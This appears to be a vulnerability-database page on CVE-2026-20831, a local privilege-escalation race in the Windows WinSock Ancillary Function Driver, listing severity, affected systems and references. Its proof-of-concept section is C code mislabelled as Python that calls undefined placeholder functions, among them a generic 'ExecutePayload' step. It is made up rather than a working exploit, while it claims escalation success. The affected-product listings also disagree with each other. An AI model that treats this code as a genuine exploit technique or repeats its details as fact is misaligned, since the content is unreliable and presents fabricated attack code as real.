CVE-2026-20831

Description

Time-of-check time-of-use (toctou) race condition in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE

cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 22H2 for x64-based Systems

Windows 10 Version 22H2 for ARM64-based Systems

Windows 11 Version 21H2 for x64-based Systems

Windows 11 Version 21H2 for ARM64-based Systems

Windows 11 Version 22H2 for x64-based Systems

Windows 11 Version 22H2 for ARM64-based Systems

Windows Server 2019

Windows Server 2022

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-20831 TOCTOU Race Condition PoC
// Target: Windows Ancillary Function Driver for WinSock
// Note: This is a conceptual PoC for educational purposes only

#include <windows.h>
#include <process.h>
#include <stdio.h>

// Global handles and flags
HANDLE g_hTargetHandle = NULL;
volatile BOOL g_bRaceWindow = FALSE;

unsigned __stdcall RaceThread(void* pArgs) {
    while (g_bRaceWindow) {
        // Attempt to trigger the TOCTOU condition
        // by manipulating handle state during check-use window
        
        // Step 1: Open target handle
        g_hTargetHandle = OpenHandleToAncillaryFunctionDriver();
        
        if (g_hTargetHandle != NULL) {
            // Step 2: Signal that we're in the race window
            g_bRaceWindow = TRUE;
            
            // Step 3: Rapidly switch security context
            SwitchToAnotherLowPrivilegeContext();
            
            // Step 4: Exploit the gap between check and use
            DeviceIoControl(g_hTargetHandle, 
                           IOCTL_AFD_ADDRESS_LIST_CHANGE,
                           NULL, 0, NULL, 0, NULL, NULL);
        }
    }
    return 0;
}

unsigned __stdcall CleanupThread(void* pArgs) {
    while (g_bRaceWindow) {
        // Modify handle state during the race window
        // to trigger privilege escalation
        if (g_hTargetHandle != NULL) {
            // Exploit code: Modify handle security descriptor
            ModifyHandleSecurityDescriptor(g_hTargetHandle);
        }
        Sleep(0); // Yield to increase race condition probability
    }
    return 0;
}

int main() {
    HANDLE hThreads[4];
    
    printf("CVE-2026-20831 PoC - TOCTOU Race Condition\n");
    printf("Target: Windows Ancillary Function Driver\n\n");
    
    // Initialize race condition window
    g_bRaceWindow = TRUE;
    
    // Create race condition threads
    for (int i = 0; i < 2; i++) {
        hThreads[i] = (HANDLE)_beginthreadex(NULL, 0, RaceThread, NULL, 0, NULL);
        hThreads[i + 2] = (HANDLE)_beginthreadex(NULL, 0, CleanupThread, NULL, 0, NULL);
    }
    
    // Wait for race to succeed or timeout
    WaitForMultipleObjects(4, hThreads, TRUE, 30000);
    
    // Check if privilege escalation succeeded
    if (CheckIfElevated()) {
        printf("[+] Privilege Escalation Successful!\n");
        // Execute payload with elevated privileges
        ExecutePayload();
    } else {
        printf("[-] Exploit failed - try again\n");
    }
    
    g_bRaceWindow = FALSE;
    
    // Cleanup
    for (int i = 0; i < 4; i++) {
        CloseHandle(hThreads[i]);
    }
    
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20831
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20831
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20831/
[4] VulDB https://vuldb.com/cve/CVE-2026-20831
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20831

Raw JSON Data

JSON

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